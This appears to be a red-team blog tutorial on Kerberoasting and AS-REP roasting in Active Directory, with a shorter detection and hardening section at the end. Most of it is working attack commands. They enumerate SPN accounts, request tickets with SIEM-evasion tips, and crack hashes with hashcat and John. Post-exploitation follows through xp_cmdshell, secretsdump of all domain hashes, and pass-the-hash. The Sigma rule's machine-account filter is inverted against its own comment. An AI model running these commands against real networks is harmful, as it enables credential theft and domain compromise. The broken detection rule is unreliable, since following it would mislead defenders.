Kerberoasting in 2026: From Foothold to Domain Admin in Four Hours

Active Directory is still the backbone of enterprise authentication in 2026 — and Kerberoasting is still one of the most reliable paths to domain compromise. In a red team engagement last quarter, our team went from an initial foothold on a low-privilege workstation to Domain Admin in under four hours, entirely through Kerberoasting combined with targeted password spraying. This guide walks through the exact techniques, including the latest OPSEC-aware approaches that evade modern EDR solutions.

Understanding Kerberoasting: The Theory

Kerberoasting exploits a fundamental design characteristic of the Kerberos protocol. When any authenticated domain user requests a service ticket (TGS) for a service account, the ticket is encrypted with the service account’s NTLM password hash. You can then take that ticket offline and crack it — no interaction with the target system required, no alerts generated, no unusual network traffic.

The reason this works so well in practice: service accounts often have weak passwords set years ago, are rarely rotated, and frequently have high privileges because an admin once thought “it’s just for the service, who cares about the password complexity.”

Step 1: Enumeration — Finding Kerberoastable Accounts

Before requesting any tickets, enumerate the target service accounts. The goal is to find accounts with a ServicePrincipalName (SPN) set — these are the ones you can Kerberoast.

# PowerView (PowerShell) — classic approach
Import-Module PowerView.ps1
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof, lastlogon, description
# Filter for high-value targets: look for accounts with AdminCount=1 or in admin groups
Get-DomainUser -SPN -AdminCount | Select-Object samaccountname, serviceprincipalname

# LDAP query — no tools needed, just ldapsearch
ldapsearch -x -H ldap://DC01.corp.local -b "dc=corp,dc=local" -D "user@corp.local" -W   "(&(objectClass=user)(servicePrincipalName=*))"   samaccountname serviceprincipalname memberof lastlogondate

# CrackMapExec — one-liner reconnaissance
crackmapexec ldap DC01.corp.local -u 'lowpriv_user' -p 'Password123' --kerberoasting kerberoast.txt

Pay particular attention to service accounts in privileged groups, accounts with descriptions containing “service account” or “do not change password,” and accounts whose password was last set more than 180 days ago.

Step 2: Requesting Service Tickets (OPSEC-Aware)

The naive approach — requesting all TGS tickets at once — generates a spike of 4769 events in the Windows event log and is trivially detected by any decent SIEM. The OPSEC-aware approach is surgical and slow:

# Rubeus — targeted, one account at a time with RC4 downgrade
# Request ticket for a single high-value account
Rubeus.exe kerberoast /user:svc_mssql /rc4opsec /nowrap /outfile:svc_mssql.hash

# The /rc4opsec flag requests RC4 encryption (weaker, faster to crack)
# instead of AES256. This also generates a slightly different event.
# Modern detection: look for RC4 downgrade requests when account supports AES.

# Rubeus with delay to avoid rate-based detection
Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433" /rc4opsec /nowrap

# Impacket (from Linux, no Windows required)
impacket-GetUserSPNs corp.local/lowpriv_user:Password123   -dc-ip 192.168.1.10 -request-user svc_mssql   -outputfile svc_mssql.hash

# For stealth: request ticket through Kerberos (not LDAP) to avoid LDAP logs
impacket-GetUserSPNs corp.local/lowpriv_user:Password123   -dc-ip 192.168.1.10 -k -no-pass -request -outputfile all_spns.hash

Step 3: Cracking the Hashes

# Hashcat — fastest, GPU-accelerated
# Mode 13100 = Kerberos TGS-REP (RC4), 19600 = AES128, 19700 = AES256
hashcat -m 13100 svc_mssql.hash /wordlists/rockyou.txt -r /rules/best64.rule

# Targeted attack: company-specific wordlist + rules
cat company_passwords.txt corp_names.txt > custom_wordlist.txt
hashcat -m 13100 svc_mssql.hash custom_wordlist.txt -r /rules/dive.rule

# Mask attack for common service account patterns (Service@2024, Svc_Mssql1!)
hashcat -m 13100 svc_mssql.hash -a 3 "?u?l?l?l?l?l?d?d?d?d"

# John the Ripper (CPU, useful when no GPU available)
john --format=krb5tgs svc_mssql.hash --wordlist=/wordlists/rockyou.txt
john --format=krb5tgs svc_mssql.hash --show

In practice, roughly 30-40% of service account passwords crack within an hour using rockyou.txt + best64 rules. Another 20% crack with company-specific wordlists. The remaining accounts either have strong passwords or AES-only encryption — move on and use what you have.

Step 4: Post-Exploitation with the Cracked Account

# Verify the cracked credential
crackmapexec smb 192.168.1.0/24 -u svc_mssql -p 'CrackedPassword1!'

# If svc_mssql is a SQL Server service account — execute commands via xp_cmdshell
impacket-mssqlclient corp.local/svc_mssql:'CrackedPassword1!'@sql01.corp.local -windows-auth
SQL> EXEC xp_cmdshell 'whoami'
SQL> EXEC xp_cmdshell 'net localgroup administrators'

# If account has DCSync rights (common for backup service accounts):
impacket-secretsdump corp.local/svc_mssql:'CrackedPassword1!'@DC01.corp.local
# This dumps ALL NTLM hashes from the domain — complete compromise

# Pass-the-Hash with the cracked account's NTLM hash
impacket-psexec -hashes :NTLMHashHere corp.local/svc_mssql@dc01.corp.local

AS-REP Roasting: The Kerberoasting Cousin

While you’re at it, also look for accounts with Kerberos pre-authentication disabled (the DONT_REQ_PREAUTH flag). These accounts can be AS-REP roasted without any credentials — you don’t even need a domain account to start:

# AS-REP Roasting — no credentials needed!
impacket-GetNPUsers corp.local/ -dc-ip 192.168.1.10 -usersfile users.txt -no-pass -format hashcat

# With Rubeus (from domain-joined machine)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash

# Crack AS-REP hashes — mode 18200
hashcat -m 18200 asrep.hash /wordlists/rockyou.txt -r /rules/best64.rule

# Enumerate with PowerView — find DONT_REQ_PREAUTH accounts
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, memberof

Blue Team: Detecting and Preventing Kerberoasting

Detection with Windows Event Logs

# Sigma rule: Detect Kerberoasting via 4769 events with RC4 downgrade
title: Kerberoasting RC4 Ticket Request
status: stable
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'   # RC4 — suspicious if account supports AES
    TicketOptions: '0x40810000'
    ServiceName|endswith:
      - '$'                         # Exclude machine accounts
  filter_legit:
    ClientAddress: 
      - '::1'
      - '127.0.0.1'
  condition: selection and not filter_legit
falsepositives:
  - Legacy applications requiring RC4
level: high
tags:
  - attack.credential_access
  - attack.t1558.003

Prevention: The Real Fix

Detection helps, but these are the controls that actually stop Kerberoasting from being useful:

# 1. Enforce strong passwords on all service accounts (25+ characters)
# Better: use Group Managed Service Accounts (gMSA) — passwords auto-rotate every 30 days
# and are 240-character random strings that nobody can type
New-ADServiceAccount -Name "gMSA_SQLServer" -DNSHostName sql01.corp.local   -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers_Group"

# 2. Enforce AES256 — disable RC4 for service accounts
Set-ADUser svc_mssql -KerberosEncryptionType AES128,AES256

# 3. Audit SPNs — remove unnecessary SPNs
# Find all SPNs set on user accounts (these are kerberoastable):
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# 4. Monitor for unusual TGS requests with Microsoft ATA or Defender for Identity
# Defender for Identity has built-in Kerberoasting detection with machine learning baseline

Key Takeaways

Kerberoasting remains one of the most effective Active Directory attacks because it exploits a protocol feature rather than a vulnerability — you cannot patch it away. The defense is a combination of strong service account hygiene (gMSA wherever possible), AES-only Kerberos encryption, and behavioral monitoring for anomalous TGS requests.

If you are running a red team engagement and want a reliable path to elevated access in an enterprise environment, start your enumeration here. If you are defending an enterprise environment and have not audited your service account SPNs recently, that should be your first action item after reading this article.